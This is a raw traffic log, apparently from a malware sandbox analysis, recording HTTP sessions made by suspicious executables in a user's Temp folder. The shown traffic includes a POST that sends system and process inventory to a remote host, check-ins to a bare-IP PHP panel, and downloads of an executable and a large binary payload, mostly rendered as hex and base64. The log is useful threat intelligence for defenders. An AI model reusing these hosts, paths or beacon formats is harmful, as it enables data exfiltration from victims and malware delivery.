Dec 19, 2024 14:10:39.765614986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: FpG`@37I50!
Dec 19, 2024 14:10:39.765630007 CET	448	IN	Data Raw: 33 66 ca 91 9b 59 e9 77 66 84 7f e4 fe 9e 85 8e 88 36 62 05 04 53 a3 7e 2e 68 ed 26 0d 15 f0 56 36 49 ae 90 7a 48 04 3d 96 06 91 7c f5 50 92 94 f0 c0 ba 5e b9 e6 4d d1 83 c4 65 35 35 e2 d5 ba 0a 25 39 6e 95 c6 c5 6a da 49 e9 57 ea 5f 60 d2 8a 4f Data Ascii: 3fYwf6bS~.h&V6IzH=\|P^Me55%9njIW_`OtW#rl4PZM`t;3}\|0YwWe\Y;Estz-gP#MbG3y6IIb\|zR%%MKX3lY@v$xExt!)
Dec 19, 2024 14:10:39.765728951 CET	1236	IN	Data Raw: 95 97 05 64 58 7f 74 b4 62 48 4e 04 22 f6 47 ef 37 08 8d 16 75 de a6 a3 13 43 5e f7 74 ce 55 8d b5 62 d4 a3 b1 49 4c a5 8a 81 f3 a4 6f 92 d1 7e 34 76 7c e9 f2 99 0b 06 7d cd a9 fa bf af e5 34 9b 89 2d a8 56 4b ed a2 d9 2f e5 08 a7 6d 6d e2 ba 0c Data Ascii: dXtbHN"G7uC^tUbILo~4v\|}4-VK/mmSFX~ndqCsgJoYw3/P=[Ld^C\|{Us&GM:148#+ W&_e"K!CjRUp3YFGEkXpT;LqU
Dec 19, 2024 14:10:39.765752077 CET	1236	IN	Data Raw: 23 8a 55 dd f0 62 48 8c 8f b7 2f 7e 22 e1 db ae 93 07 f5 59 83 22 a5 57 33 bd 6f 94 fe 59 16 77 db 04 4d e6 1a c0 54 97 8a c5 74 e4 e2 47 c7 08 47 4b 2d ec 72 e6 a6 f3 22 43 20 2a f5 03 55 46 23 62 af c4 88 d3 9d 70 2a 81 e0 a0 f6 10 d1 7e 0d d4 Data Ascii: #UbH/~"Y"W3oYwMTtGGK-r"C UF#bp~~F]&T6Iz[ #ZTW`~m~Yq?5~k,V\pYs>F+E -;rb]uqtgdbw3\|GUuE;?,y/\|!b#Oe&Rlp'S
Dec 19, 2024 14:10:39.765868902 CET	1236	IN	Data Raw: 62 ca d5 05 fb 81 47 e9 7d 0c 03 16 ec ea a6 46 82 46 cf dd 4f 99 05 ae d4 68 cb e2 ba 08 c5 0c 99 86 fb c4 28 c6 55 b6 5d f6 ad 30 2c c5 a6 6c 71 43 20 e5 e3 e3 55 01 7c 62 3b aa b4 e3 de b8 8c 71 06 d1 95 de e0 6b ed 85 f2 15 9a d2 0c 24 c7 59 Data Ascii: bG}FFOh(U]0,lqC U\|b;qk$Ywxc3yX}^st@r]H&'=7IE~ ~]rl&6^B~&6T\Y{jPsM3F/YwH49QEYwIAat
Dec 19, 2024 14:10:39.765883923 CET	1236	IN	Data Raw: 0d 01 cb 95 f2 5a 66 8a 48 cd 5d cf ef ca d8 26 a9 fb 83 a4 36 49 1e 27 f1 5a 05 58 53 0d e1 e2 ba 13 21 f8 21 81 d3 55 e9 fc d1 7b 5d 02 39 f8 f3 82 21 a8 04 58 79 6c 83 07 3f 6a 19 10 75 cc 52 d6 67 c9 70 be 59 b3 aa 29 56 41 02 50 1c a8 66 45 Data Ascii: ZfH]&6I'ZXS!!U{]9!Xyl?juRgpY)VAPfEo*\|E6E5m0AXq!jsRSp~YwD!~o~tGp(C~K1oeyr.bCp.{)Ub/x\qld4ObVX!Uu?IkB~eV]K
Dec 19, 2024 14:10:39.885159016 CET	1236	IN	Data Raw: 20 d9 8f b5 9b 62 1e 56 bc ce 56 fb 42 c2 55 04 b4 13 47 c8 be 5d 0f 16 aa 4b a6 ec 40 43 da c0 12 14 55 4f 95 62 83 53 b4 e0 8a 21 54 71 09 27 96 3e c5 64 8f 18 02 c7 62 af fd 05 61 bc 47 f6 ba ce 57 11 72 3e a6 f5 28 43 f9 aa d9 44 55 fb 1d 62 Data Ascii: bVVBUG]K@CUObS!Tq'>dbaGWr>(CDUbYpW88YyFEo?2B1\F$ "Mh38+Yw%6c?eHpYYAGoE0C@<sk"{<7bPjIOEAbMqd;~bFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49846	176.53.146.212	80	7232	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:42.305490971 CET	12360	OUT	POST /hLfzXsaqNtoEGyaUtOMJ1734514745 HTTP/1.1 Host: home.fivetk5vt.top Accept: / Content-Type: application/json Content-Length: 440429 Data Raw: 7b 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 31 38 39 22 2c 20 22 63 75 72 72 65 6e 74 5f 74 69 6d 65 22 3a 20 22 31 37 33 34 36 31 33 38 33 38 22 2c 20 22 4e 75 6d 5f 70 72 6f 63 65 73 73 6f 72 22 3a 20 34 2c 20 22 4e 75 6d 5f 72 61 6d 22 3a 20 37 2c 20 22 64 72 69 76 65 72 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 43 3a 5c 5c 22 2c 20 22 61 6c 6c 22 3a 20 32 32 33 2e 30 2c 20 22 66 72 65 65 22 3a 20 31 36 38 2e 30 20 7d 20 5d 2c 20 22 4e 75 6d 5f 64 69 73 70 6c 61 79 73 22 3a 20 31 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 78 22 3a 20 31 32 38 30 2c 20 22 72 65 73 6f 6c 75 74 69 6f 6e 5f 79 22 3a 20 31 30 32 34 2c 20 22 72 65 63 65 6e 74 5f 66 69 6c 65 73 22 3a 20 32 36 2c 20 22 70 72 6f 63 65 73 73 65 73 22 3a 20 5b 20 7b 20 22 6e 61 6d 65 22 3a 20 22 5b 53 79 73 74 65 6d 20 50 72 6f 63 65 73 73 5d 22 2c 20 22 70 69 64 22 3a 20 30 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 53 79 73 74 65 6d 22 2c 20 22 70 69 64 22 3a 20 34 20 7d 2c 20 7b 20 22 6e 61 6d 65 22 3a 20 22 52 65 67 [TRUNCATED] Data Ascii: { "ip": "8.46.123.189", "current_time": "1734613838", "Num_processor": 4, "Num_ram": 7, "drivers": [ { "name": "C:\\", "all": 223.0, "free": 168.0 } ], "Num_displays": 1, "resolution_x": 1280, "resolution_y": 1024, "recent_files": 26, "processes": [ { "name": "[System Process]", "pid": 0 }, { "name": "System", "pid": 4 }, { "name": "Registry", "pid": 92 }, { "name": "smss.exe", "pid": 324 }, { "name": "csrss.exe", "pid": 408 }, { "name": "wininit.exe", "pid": 484 }, { "name": "csrss.exe", "pid": 492 }, { "name": "winlogon.exe", "pid": 552 }, { "name": "services.exe", "pid": 620 }, { "name": "lsass.exe", "pid": 628 }, { "name": "svchost.exe", "pid": 752 }, { "name": "fontdrvhost.exe", "pid": 776 }, { "name": "fontdrvhost.exe", "pid": 784 }, { "name": "svchost.exe", "pid": 872 }, { "name": "svchost.exe", "pid": 920 }, { "name": "dwm.exe", "pid": 988 }, { "name": "svchost.exe", "pid": 364 }, { "name": "svchost.exe", "pid": 356 }, { "name": "svchost.exe", "pid": 696 }, { "name": "svchost.exe", "pid": [TRUNCATED]
Dec 19, 2024 14:10:42.425681114 CET	9888	OUT	Data Raw: 5c 2f 45 47 31 77 64 51 2b 49 6a 61 65 70 47 64 39 7a 38 4f 64 5a 6a 69 77 4f 70 57 56 39 63 57 4e 74 6f 49 4c 59 62 35 51 52 6e 47 56 7a 5c 2f 48 4f 49 2b 6e 37 39 45 7a 43 5c 2f 57 48 58 38 55 73 56 47 6e 68 63 52 58 77 6c 66 45 52 38 4f 66 46 Data Ascii: \/EG1wdQ+IjaepGd9z8OdZjiwOpWV9cWNtoILYb5QRnGVz\/HOI+n79EzC\/WHX8UsVGnhcRXwlfER8OfFWrhYYjDTdOtTWLpcDzws+Sas5U6soNNSjJxkm\/wCu6H0D\/pXYmnQq0fCqU4YmhSxNFPjbw5hUnRrwjOlP2M+L41o88ZJ8s4Rkr2lFNNH5CUV+v1v\/AMEnPEFwSP8AhdmioQcEHwRfEhh\/Cf8AipRg4wecHkV+
Dec 19, 2024 14:10:42.425749063 CET	7416	OUT	Data Raw: 7a 5c 2f 41 4b 7a 5c 2f 41 44 2b 6e 58 2b 64 42 31 38 37 38 76 36 2b 5a 58 35 7a 76 32 66 38 41 62 50 48 37 6a 5c 2f 38 41 56 5c 2f 6e 4f 61 67 2b 54 35 5c 2f 38 41 57 64 5c 2f 70 5c 2f 6e 2b 6d 4f 32 61 75 65 54 6e 5c 2f 41 46 68 44 66 79 5c 2f Data Ascii: z\/AKz\/AD+nX+dB1878v6+ZX5zv2f8AbPH7j\/8AV\/nOag+T5\/8AWd\/p\/n+mO2aueTn\/AFhDfy\/Sq0kf3t\/3+PT\/AD9cUGpD6In\/ACz\/ANV\/n\/8AV7cUwB2+6nmH6kfrU+1\/9zn\/AFf\/AC36e2etQeW\/yfx4\/wAj9Pp+uaDoDy0\/jSNP+WvcT9Kpsvzf7H\/TT9xb\/wDbp26\/\/Xq5t\/d\/P+cn8\
Dec 19, 2024 14:10:42.425860882 CET	4944	OUT	Data Raw: 63 4e 76 6e 2b 69 4b 63 6b 58 39 77 65 76 62 2b 67 5c 2f 78 39 65 61 72 53 4b 36 4d 66 34 5c 2f 31 5c 2f 77 41 6e 30 50 58 31 71 5c 2f 4a 5c 2f 75 66 7a 5c 2f 41 50 31 2b 76 6f 42 54 50 34 66 75 52 5c 2f 35 35 2b 6e 34 59 7a 37 64 36 44 66 32 6e Data Ascii: cNvn+iKckX9wevb+g\/x9earSK6Mf4\/1\/wAn0PX1q\/J\/ufz\/AP1+voBTP4fuR\/55+n4Yz7d6Df2nl+P\/AACh8\/8Ay06d\/wCnv6UwN8r4\/wCuv+e\/TJqzJH9z\/PX+pPv0qskeI97\/AD8\/5\/8ArUHRT6\/L9SHzOv8AH+mfamKsbMkj\/wCf9G\/+tU23+B8fz4\/+tn8vxqH\/AG\/+Wf8A9f8APpx9eOtB2E
Dec 19, 2024 14:10:42.425885916 CET	2472	OUT	Data Raw: 79 2b 72 55 63 6a 71 35 72 52 7a 61 64 58 6c 70 76 6c 2b 6f 31 63 6b 7a 65 46 57 50 78 50 2b 7a 38 55 34 4b 63 61 62 5a 2b 6d 30 76 41 58 78 6b 72 52 77 30 34 65 48 66 45 6e 73 38 58 50 4b 4b 65 47 6e 4c 43 30 36 63 61 30 73 2b 70 5a 54 58 79 6a Data Ascii: y+rUcjq5rRzadXlpvl+o1ckzeFWPxP+z8U4KcabZ+m0vAXxkrRw04eHfEns8XPKKeGnLC06ca0s+pZTXyj2bnWipRx1LPconSmvcUcfh\/aSg5NL6r\/AGcP2p\/iP+zfrxuPDtydZ8H6lcxyeJPA2pXEo0jVBhY3vbFwJG0bXEhVUg1W1jbzPLgi1G21C0hS2HTa5+2J448Q+PdZ8SeLNF8N\/EvQV8U6\/qngeHx5ps9t8QPA
Dec 19, 2024 14:10:42.546123981 CET	4944	OUT	Data Raw: 73 64 67 2b 49 63 4e 48 4c 73 78 78 57 48 63 38 55 73 74 7a 6d 6e 67 6e 51 78 75 47 77 39 58 44 34 75 70 69 63 43 38 35 2b 72 59 47 6a 55 71 34 6a 46 79 77 57 4d 57 48 6f 31 4b 75 41 72 78 70 66 30 35 34 50 63 4c 66 53 69 38 48 38 34 72 63 62 63 Data Ascii: sdg+IcNHLsxxWHc8UstzmngnQxuGw9XD4upicC85+rYGjUq4jFywWMWHo1KuArxpf054PcLfSi8H84rcbcA+Hea4fHZtluK4WrPN8pwmIbweIz\/KaOKjUy3GYihi8JGjneCyujXx9alRoYT21B4irToYylOp+\/3\/D9c\/8ARrI\/8Ph\/+KCj\/h+uf+jWR\/4fD\/8AFBX839\/4\/wDD9ppuja7p+v8Ag3xjoPir4veOfg
Dec 19, 2024 14:10:42.546163082 CET	7416	OUT	Data Raw: 2b 6f 5c 2f 34 38 61 30 39 70 35 66 6a 5c 2f 77 41 41 44 39 66 76 6a 31 70 6c 35 72 50 77 66 38 66 61 5a 59 52 2b 64 65 58 6d 68 76 46 42 47 4d 5c 2f 4f 34 75 62 5a 38 66 4b 47 50 33 56 50 51 47 76 50 50 6a 6a 2b 31 48 38 4e 5c 2f 69 68 2b 30 31 Data Ascii: +o\/48a09p5fj\/wAAD9fvj1pl5rPwf8faZYR+deXmhvFBGM\/O4ubZ8fKGP3VPQGvPPjj+1H8N\/ih+014x+MXxC0bwzL8Hvg1\/wUs+Hn7Rfgrw\/wDDX4FJ4Dg\/bc\/Zt1bxHbaB4w0L4yeDfDHgbwPo3xA+Nnwd8P6ffeJvhr45\/aPtrfxJ4r8G\/EL4v+AfE3xAjvNT0DTdT+nZI0lRo5USSNxh0kUOjD0ZWBVh7EEVm
Dec 19, 2024 14:10:42.546289921 CET	2472	OUT	Data Raw: 33 50 38 41 4f 67 36 43 43 69 70 4a 49 5c 2f 6c 2b 5c 2f 6b 5c 2f 6e 5c 2f 77 44 71 5c 2f 72 39 4d 30 78 76 6c 7a 6d 67 30 70 39 66 6c 2b 6f 78 6c 33 59 37 59 71 46 76 6c 7a 6e 74 36 56 59 70 72 4c 75 78 32 78 51 61 45 4e 46 4f 4b 6c 65 63 39 5c Data Ascii: 3P8AOg6CCipJI\/l+\/k\/n\/wDq\/r9M0xvlzmg0p9fl+oxl3Y7YqFvlznt6VYprLux2xQaENFOKlec9\/wAabQdAxlzyOtVvL9\/0\/wDr1Yk7fj\/So629l5S\/r5AV6hf7x\/D+Qq0y9x+P+NQv90\/h\/MUey8pfd\/wDoIaKmZd2O2KhqfZ+f4f8E6BjLu\/l9aiI2Z4HTPFWKZIp+\/6\/5\/Cp9l5R+7\/gAU\/L2D+
Dec 19, 2024 14:10:42.590605021 CET	27192	OUT	Data Raw: 2f 77 44 31 34 5c 2f 4b 73 7a 51 72 66 36 33 65 2b 5c 2f 77 44 31 6e 5c 2f 50 50 70 37 66 6e 36 6a 6e 41 71 61 50 66 38 2b 78 35 50 33 6b 58 6d 38 5c 2f 76 5c 2f 77 42 50 5c 2f 77 42 66 70 30 6f 66 7a 6a 39 78 50 2b 57 58 6d 34 5c 2f 31 50 2b 63 Data Ascii: /wD14\/KszQrf63e+\/wD1n\/PPp7fn6jnAqaPf8+x5P3kXm8\/v\/wBP\/wBfp0ofzj9xP+WXm4\/1P+c9P50eY+19ieS\/\/TOXp\/h9e\/1rb3\/7v4mlPr8itHv3P8mU83yhJ5v7\/Pbt6Yz3oj\/iy8m\/\/WmP8v8AHA4HpT\/k\/wBdsjdPNMvmf8sJv8nP8uc0x9+596Rv5f7qWSP\/AD\/h2zVGgN8v75EkmTyv3X9
Dec 19, 2024 14:10:42.710527897 CET	8652	OUT	Data Raw: 4f 6b 50 2b 6b 79 66 76 66 39 62 5c 2f 41 4d 75 5c 2f 5c 2f 4c 70 33 39 76 72 78 31 7a 7a 55 4c 4d 6a 64 39 33 6d 54 65 5c 2f 58 30 36 2b 77 5c 2f 70 6e 4e 5a 6d 6e 74 50 4c 38 66 2b 41 4d 6b 2b 52 6d 66 2b 44 7a 66 33 52 5c 2f 35 37 66 36 4a 7a Data Ascii: OkP+kyfvf9b\/AMu\/\/Lp39vrx1zzULMjd93mTe\/X06+w\/pnNZmntPL8f+AMk+Rmf+Dzf3R\/57f6Jz\/h3oVkmMMMiCRPK83Z\/y3\/69ftZ9v59O9P8AMPl7Pufurj93J\/yx7\/a\/5HPr+dQ58uNP9Zv\/AOWr+V5H+fX\/APXQaA0b7d+\/Z5ef+Wvf1\/8Arn19ah+RpPvyTfvbf\/j4\/l+P+NP8vbGjv8ieXb+V5
Dec 19, 2024 14:10:42.751080990 CET	1236	OUT	Data Raw: 38 36 41 49 5a 4d 2b 57 6e 37 6e 59 6e 5c 2f 58 58 38 61 68 38 74 46 5c 2f 35 36 64 66 33 76 6c 2b 39 50 5a 66 4e 6a 33 37 5c 2f 41 44 76 2b 57 58 5c 2f 58 48 5c 2f 50 70 52 35 66 37 78 45 33 37 50 2b 57 57 50 2b 57 48 31 35 5c 2f 6c 2b 46 5a 2b Data Ascii: 86AIZM+Wn7nYn\/XX8ah8tF\/56df3vl+9PZfNj37\/ADv+WX\/XH\/PpR5f7xE37P+WWP+WH15\/l+FZ+z8\/w\/wCCdAxdpjmOz\/n3i\/57\/wCfT9Kq+W8O8PHs\/e\/vT\/n6VaMbnfsSNH\/56f0\/x9femeTcyf8ALQ\/afN80fvf8+vT8a0NKfX5fqVfMeSV3R5Hf\/npJL5\/t\/n\/OF+T59ibP3Vx\/yy\/5eP6e
Dec 19, 2024 14:10:45.482732058 CET	164	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 13:10:45 GMT content-type: text/html; charset=utf-8 content-length: 26 Data Raw: 76 79 74 35 57 49 46 44 6d 6b 31 4b 37 67 6d 38 31 37 33 34 36 31 33 38 34 34 Data Ascii: vyt5WIFDmk1K7gm81734613844

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49855	185.215.113.43	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:45.514816999 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 36 31 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017611001&unit=246122658369
Dec 19, 2024 14:10:46.842320919 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49856	176.53.146.212	80	7232	C:\Users\user\AppData\Local\Temp\1017610001\e8da769a7d.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:45.866194963 CET	123	OUT	GET /hLfzXsaqNtoEGyaUtOMJ1734514745?argument=vyt5WIFDmk1K7gm81734613844 HTTP/1.1 Host: home.fivetk5vt.top Accept: /
Dec 19, 2024 14:10:47.937470913 CET	1236	IN	HTTP/1.1 200 OK server: nginx/1.22.1 date: Thu, 19 Dec 2024 13:10:47 GMT content-type: application/octet-stream content-length: 10816560 content-disposition: attachment; filename="3EoRfJgTGTVJkI;" last-modified: Wed, 18 Dec 2024 09:39:05 GMT cache-control: no-cache etag: "1734514745.3970041-10816560-1399330581" Data Raw: 1f d3 b8 f9 48 23 e6 ab e2 6f 4e 39 34 0e 37 71 e9 15 f5 d5 48 ac a9 8e 73 ae ae 8f 65 19 a3 59 2b 9b f9 5b 59 41 77 f8 92 f5 c2 cb 78 d2 d7 ba 88 44 aa 97 9b 59 23 e7 96 54 07 b2 3b 56 ad 75 9b 9f f3 b3 36 90 d6 d3 a9 67 51 92 ec b7 f0 f6 ba 0c c4 82 82 60 82 8a 0c aa 9c cb 03 03 c4 22 72 c1 2c 7a bd c2 21 aa 3c 2c 1c c6 94 94 9d 86 39 d7 db 82 46 f1 3a 04 14 24 07 20 ee f8 2a f7 58 eb f6 99 45 57 be 23 73 1b 76 33 bc 7b fd 30 8c bc 1c f0 ea a8 2e 8d 4d 1d 72 9e c6 2b 66 29 4c ad 5f 01 9b ff 3d b8 79 46 ea 95 db 24 8e aa ea eb 3f 5a 5d be fc 0f b9 f1 28 2b fc 0d f5 43 d0 f1 bd b0 29 47 21 99 56 ff d2 b8 72 2e 77 5c e3 c3 34 86 06 45 1b 3b ac 42 23 51 dc cc 26 97 7e 54 79 52 94 e6 86 aa 8f e8 2d 29 a8 c0 64 28 b3 7b e5 f5 2b 2c fa 54 c5 02 06 a3 e5 00 4a 3f 8d 60 b6 da 9c 71 2f d1 02 d4 88 d7 b6 3f 11 76 d8 2a a7 f1 c8 a4 44 86 6d 16 20 f9 8f 3e 13 09 5f ca 88 3c 27 83 f4 3b d6 df de 7b 33 4e f1 08 0f b2 cc a7 08 ff d9 f5 d3 e7 87 f0 cb e8 48 86 6d 17 05 0e 97 63 79 74 b4 92 ea 78 1f 34 f7 15 b7 2c [TRUNCATED] Data Ascii: H#oN947qHseY+[YAwxDY#T;Vu6gQ`"r,z!<,9F:$ XEW#sv3{0.Mr+f)L_=yF$?Z](+C)G!Vr.w\4E;B#Q&~TyR-)d({+,TJ?`q/?vDm >_<';{3NHmcytx4,QDOXKQ:S: z3NhJe9 m9RweCqLq4xA^0q=:%69cbmNT~D`}S=G$\|R)07opsQ[bJ~\/tMy_Pr?y9+(fw%H "<N88*DE}X@_B9uI3[>>$tQ2jm\$^!N\"fJ/a.(3=3AB7eS_tRCma6qo?Dz@(UZ^g{) ??oeOHE&Dy1%KS/TD=A]4tF16k50S,bbHs9P/1JhcA(,_ow0swHv=m/@"=Alst>E4,G2X{{Al8M
Dec 19, 2024 14:10:47.937546968 CET	1236	IN	Data Raw: 5d ac f4 d9 8c d0 32 0f 96 13 e5 2d 8a b3 60 9a 31 5d 6f 19 a1 97 e5 ef 19 35 3e a2 80 74 8a 20 18 bd 80 5f de e5 db 19 40 4a 9f 22 59 e9 1d d7 b9 35 12 85 ba 1c 84 c2 cf 36 cc 45 05 80 35 ce 1a 47 a3 e8 17 e3 a0 96 e4 d0 39 46 58 c9 61 70 95 1d Data Ascii: ]2-`1]o5>t _@J"Y56E5G9FXap{;#gJ0rAt.^Zvmer*BP&BkGB{{(akOLe(%r{IA6mcXq'AuQd?7rD41)L%#[:j8e
Dec 19, 2024 14:10:47.937562943 CET	448	IN	Data Raw: 50 7b 6c 0a 76 1c f4 5d 07 1d b1 08 6a a4 54 91 6c 08 e1 06 0c 76 2c a2 19 8c 3c 1f cc f5 2c 94 da d4 42 bb c9 dc 70 00 24 4a e9 09 53 e3 7e 91 d6 ea 21 0f 52 ee 79 64 e1 e8 48 ff 56 28 e6 0e 63 74 97 33 06 ce e6 43 da b3 66 1c 8f 5b 2a fc 66 11 Data Ascii: P{lv]jTlv,<,Bp$JS~!RydHV(ct3Cf[fp3iFw\x;}4:]zfy6L'i6F}0\%LZW6&K*\7OfzQNF!3?2GjIB9Z^5#iZ+W;'R\|]:
Dec 19, 2024 14:10:47.937638998 CET	1236	IN	Data Raw: da 05 85 1e b0 28 ef 3f 79 7e 27 a3 bb bf d6 0d a5 26 42 11 d2 7e e4 9e 54 22 1f 64 87 50 14 e1 df a5 40 5f a1 2b 37 ce 28 e4 dd 5e 7b 1f e1 26 9f 6c a2 b4 2a a5 bb e7 12 9a 22 cf 48 6e ab 4a 0d 16 58 b1 72 18 32 cb 8e 60 9a 7e 8b 4d d9 98 ef 8e Data Ascii: (?y~'&B~T"dP@_+7(^{&l"HnJXr2`~M%78~d's$^9nw_MWg8XlOqRmpoC4+ExY#'\|<M%,a9&%lqF>B ,OH}
Dec 19, 2024 14:10:47.937653065 CET	224	IN	Data Raw: 2e 04 98 74 d4 1f 28 fb 47 b6 1f 5a a2 b7 4b f9 74 88 e3 f1 9d af 7a 0b a0 d9 5f 4c 33 44 fd 90 8e c4 3f 38 0c c1 4e 28 81 af 38 9f 14 9b 37 b1 c6 a5 80 22 23 7e ec a9 1e 64 27 65 dd 23 01 35 b3 c2 cf e6 a8 b4 b9 5b 23 d7 76 60 e9 d0 40 68 a1 02 Data Ascii: .t(GZKtz_L3D?8N(87"#~d'e#5[#v`@ha'vQ](e[[7^3f;?+6=MSad9M<EnBNvf1]_HR/%pLAsyNS]6G,~c\|Na0^
Dec 19, 2024 14:10:47.937706947 CET	1236	IN	Data Raw: 3d 32 1e b0 66 97 4e 66 a4 3a b9 4d a4 cd fb 55 92 37 80 5a 74 02 40 dc 3b 2b 46 68 62 2d f8 6f 19 96 3f 89 90 8e be e7 0a 59 2a c4 7a 0f bd 85 d2 9e 8c a2 d6 6a 98 d0 57 c7 0b 59 2b ac 8e 3e 27 5e 2d ac c7 ac b9 39 d5 e7 16 75 8e 20 39 dc c7 7c Data Ascii: =2fNf:MU7Zt@;+Fhb-o?Y*zjWY+>'^-9u 9\|[S]N:\|vk;\|y{Mj-k_C+^Skc;G;@Prdc{;:q%`b0qj?W\}rL@<5\|qN?'.V 1S@p<>[I>le[
Dec 19, 2024 14:10:47.937731028 CET	1236	IN	Data Raw: 61 9c 92 4c 13 4d 64 a5 ad 56 ed bb 0d 56 56 3b bd 57 ac 24 1b a6 d3 3e cd 21 17 ed d4 b1 21 4d 74 ae 16 4f e0 96 32 ae 28 30 22 34 41 71 2a b4 f4 2f 74 6b f8 c7 11 f9 a6 23 f6 0e f9 25 92 45 5e f4 5b 94 7b 96 2a 76 72 c4 8d 77 62 f6 97 6e 49 b3 Data Ascii: aLMdVVV;W$>!!MtO2(0"4Aq/tk#%E^[{vrwbnI@GD~$O]"O+_@TXfMH].RICZo3~hIyJ'74a&MZt7K#=r.u8b&h'oLh OiTP>*HEwob[bL[R
Dec 19, 2024 14:10:47.937844992 CET	448	IN	Data Raw: 20 57 ff 32 73 98 56 b5 49 d2 23 0d c0 5a 95 29 c3 81 93 94 c3 65 15 bb f0 26 38 eb b1 11 69 c7 f1 20 0d 82 6f 9b 39 e2 9d 68 e9 4b f4 05 9f 0e c1 4c 3e 06 0c 67 08 45 80 63 e2 de 27 6b 67 f1 5b 4b be 95 c3 87 34 10 ff d3 b9 1c 06 08 48 67 31 30 Data Ascii: W2sVI#Z)e&8i o9hKL>gEc'kg[K4Hg109"YN["n$P<dif.TiNP$#)_%5SN1WA7Gsa?/P^s~rkoYeomfKeS=4l~pu"m&CK{g&\
Dec 19, 2024 14:10:47.937860966 CET	1236	IN	Data Raw: 66 cc cd 03 80 d2 6c 70 ca e0 af c5 7a 04 aa 16 c1 fa a5 59 33 88 de 6c d0 d8 39 2d 8c 06 9e d5 91 2c 3e 7c b4 ec 89 be 39 24 57 b1 cd a1 5c f9 fc ff 62 a1 8c fe 20 0f e9 77 f1 50 b3 df 2e 18 48 ec 98 1c 08 89 a7 22 9f ca 93 58 41 8e 88 0d 91 7f Data Ascii: flpzY3l9-,>\|9$W\b wP.H"XAy4mE f~(qFU8q]!+\|\|Z'@}D6i%5]Wpd}<(ZFf0\|DnuTMg} J}$h>>Au=O[+iIh
Dec 19, 2024 14:10:47.937875986 CET	1236	IN	Data Raw: d5 4f 43 da 6d 52 c0 9a 9b f1 bd 0a 8f a8 ec 41 77 d0 ca e4 8d dd 68 e5 af 8f 45 cf 01 20 1b 57 78 ab be e5 93 86 f6 c6 94 10 df a7 9c 98 b2 eb 16 c1 bf f5 d8 bc f5 3b 76 c4 94 39 dc 18 13 72 43 1d ac 9f ea f3 9a e6 de a1 5e 73 74 ca 96 b4 9f 07 Data Ascii: OCmRAwhE Wx;v9rC^stQ!KxCN1e.Pu7??iuceS2(kE,t2uK79DCs$yu+Cp+`D),k'^C1bM2=e_vV!Qz\|LgeM
Dec 19, 2024 14:10:48.057883978 CET	1236	IN	Data Raw: e5 bc 86 b8 a0 d4 bf 71 db 78 4c ac a6 df 85 42 23 e9 1d 41 01 c6 a5 38 a7 17 c3 86 37 ba 50 ed 41 c3 70 88 2a 8e 5c 24 be 1a 6b 0b 1f 5c 6f e8 13 9b 6b 10 c7 54 46 f5 85 77 2e 71 fc 00 9f 2c 95 5c 92 47 c9 b0 8f 91 a6 e8 b0 c3 a9 d8 aa b5 ec 4f Data Ascii: qxLB#A87PAp\$k\okTFw.q,\GO-Wz/?&)Ed>70\|I(QftQVy{Ir"%$+,e.bXkF)}O CTtE39l8L{t5iK,z

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49859	31.41.244.11	80	7588	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 14:10:46.964127064 CET	59	OUT	GET /files/lolz/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 14:10:48.337538958 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 13:10:48 GMT Content-Type: application/octet-stream Content-Length: 21504 Last-Modified: Wed, 18 Dec 2024 18:13:28 GMT Connection: keep-alive ETag: "676310c8-5400" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 